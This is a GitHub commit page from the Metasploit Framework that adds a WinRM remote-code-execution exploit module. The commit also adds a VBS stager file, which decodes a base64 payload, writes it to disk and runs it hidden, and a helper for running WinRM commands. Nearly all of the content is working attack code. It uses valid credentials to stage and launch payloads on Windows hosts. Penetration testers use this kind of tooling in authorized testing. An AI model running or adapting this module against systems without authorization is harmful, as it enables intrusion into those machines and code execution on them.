Skip to content

Commit c30ada5

Browse files
David MaloneyDavid Maloney
David Maloney
authored and
David Maloney
committed
Adds temp vbs mod and tweaked decoder stub
1 parent ffca972 commit c30ada5

File tree

3 files changed

+155
-0
lines changed

3 files changed

+155
-0
lines changed

‎data/exploits/cmdstager/vbs_b64_sleep

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
2+
echo Set file = fs.GetFile("ENCODED") >>decode_stub
3+
echo If file.Size Then >>decode_stub
4+
echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
5+
echo data = fd.ReadAll >>decode_stub
6+
echo data = Replace(data, vbCrLf, "") >>decode_stub
7+
echo data = base64_decode(data) >>decode_stub
8+
echo fd.Close >>decode_stub
9+
echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
10+
echo ofs.Write data >>decode_stub
11+
echo ofs.close >>decode_stub
12+
echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
13+
echo shell.run "DECODED", 0, false >>decode_stub
14+
echo Wscript.sleep(1000 * 60 * 5) >>decode_stub
15+
echo Else >>decode_stub
16+
echo Wscript.Echo "The file is empty." >>decode_stub
17+
echo End If >>decode_stub
18+
echo Function base64_decode(byVal strIn) >>decode_stub
19+
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
20+
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
21+
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
22+
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
23+
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
24+
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
25+
echo If Not w2 Then _ >>decode_stub
26+
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
27+
echo If Not w3 Then _ >>decode_stub
28+
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
29+
echo If Not w4 Then _ >>decode_stub
30+
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
31+
echo Next >>decode_stub
32+
echo base64_decode = strOut >>decode_stub
33+
echo End Function >>decode_stub
34+
echo Function mimedecode(byVal strIn) >>decode_stub
35+
echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
36+
echo If Len(strIn) = 0 Then >>decode_stub
37+
echo mimedecode = -1 : Exit Function >>decode_stub
38+
echo Else >>decode_stub
39+
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
40+
echo End If >>decode_stub
41+
echo End Function >>decode_stub

‎lib/msf/core/exploit/winrm.rb

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -62,6 +62,10 @@ def parse_auth_methods(resp)
6262

6363
def winrm_run_cmd(cmd, timeout=20)
6464
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
65+
if resp.nil?
66+
print_error "Recieved no reply from server"
67+
return nil
68+
end
6569
if resp.code == 401
6670
print_error "Login failure! Recheck supplied credentials."
6771
return resp .code
@@ -81,6 +85,29 @@ def winrm_run_cmd(cmd, timeout=20)
8185
return streams
8286
end
8387

88+
def winrm_run_cmd_hanging(cmd, timeout=20)
89+
resp,c = send_request_ntlm(winrm_open_shell_msg,timeout)
90+
if resp.nil?
91+
print_error "Recieved no reply from server"
92+
return nil
93+
end
94+
if resp.code == 401
95+
print_error "Login failure! Recheck supplied credentials."
96+
return resp .code
97+
end
98+
unless resp.code == 200
99+
print_error "Got unexpected response: \n #{resp.to_s}"
100+
retval = resp.code || 0
101+
return retval
102+
end
103+
shell_id = winrm_get_shell_id(resp)
104+
resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id),timeout)
105+
cmd_id = winrm_get_cmd_id(resp)
106+
resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id),timeout)
107+
streams = winrm_get_cmd_streams(resp)
108+
return streams
109+
end
110+
84111
def winrm_wql_msg(wql)
85112
action = winrm_uri_action("wql")
86113
contents = winrm_header(action) + winrm_wql_body(wql)
@@ -292,6 +319,7 @@ def target_url
292319
end
293320
end
294321

322+
295323
private
296324

297325
def winrm_option_set(options)

‎modules/exploits/windows/winrm/winrm_vbsl.rb

Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
##
2+
# $Id$
3+
##
4+
5+
##
6+
# This file is part of the Metasploit Framework and may be subject to
7+
# redistribution and commercial restrictions. Please see the Metasploit
8+
# web site for more information on licensing and terms of use.
9+
# http://metasploit.com/
10+
##
11+
12+
13+
require 'msf/core'
14+
15+
16+
class Metasploit3 < Msf::Exploit::Remote
17+
Rank = ManualRanking
18+
19+
include Msf::Exploit::Remote::WinRM
20+
include Msf::Exploit::CmdStagerVBS
21+
22+
23+
def initialize(info = {})
24+
super(update_info(info,
25+
'Name' => 'WinRM VBS Remote Code Execution',
26+
'Description' => %q{
27+
This module uses valid credentials to login to the WinRM service
28+
and execute a VBS cmdstager.
29+
},
30+
'Author' => [ 'thelightcosine' ],
31+
'License' => MSF_LICENSE,
32+
'Version' => '$Revision$',
33+
'Privileged' => true,
34+
'DefaultOptions' =>
35+
{
36+
'WfsDelay' => 30,
37+
'EXITFUNC' => 'thread',
38+
'InitialAutoRunScript' => 'post/windows/manage/smart_migrate',
39+
},
40+
'Platform' => 'win',
41+
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
42+
'Targets' =>
43+
[
44+
[ 'Windows', { } ],
45+
],
46+
'DefaultTarget' => 0,
47+
'DisclosureDate' => 'Nov 01 2012'
48+
))
49+
50+
register_advanced_options(
51+
[
52+
OptString.new( 'DECODERSTUB', [ true, 'The VBS base64 file decoder stub to use.',
53+
File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "vbs_b64_sleep")]),
54+
], self.class)
55+
56+
end
57+
58+
def check
59+
unless accepts_ntlm_auth
60+
print_error "The Remote WinRM server does not appear to allow Negotiate(NTLM) auth"
61+
return Msf::Exploit::CheckCode::Safe
62+
end
63+
end
64+
65+
66+
def exploit
67+
execute_cmdstager
68+
handler
69+
end
70+
71+
def execute_command(cmd,opts)
72+
commands = cmd.split(/&/)
73+
commands.each do |command|
74+
if command.include? "cscript"
75+
streams = winrm_run_cmd_hanging(command)
76+
print_status streams.inspect
77+
elsif command.include? "del %TEMP%"
78+
next
79+
else
80+
winrm_run_cmd(command)
81+
end
82+
end
83+
end
84+
85+
86+
end

0 commit comments

Comments
 (0)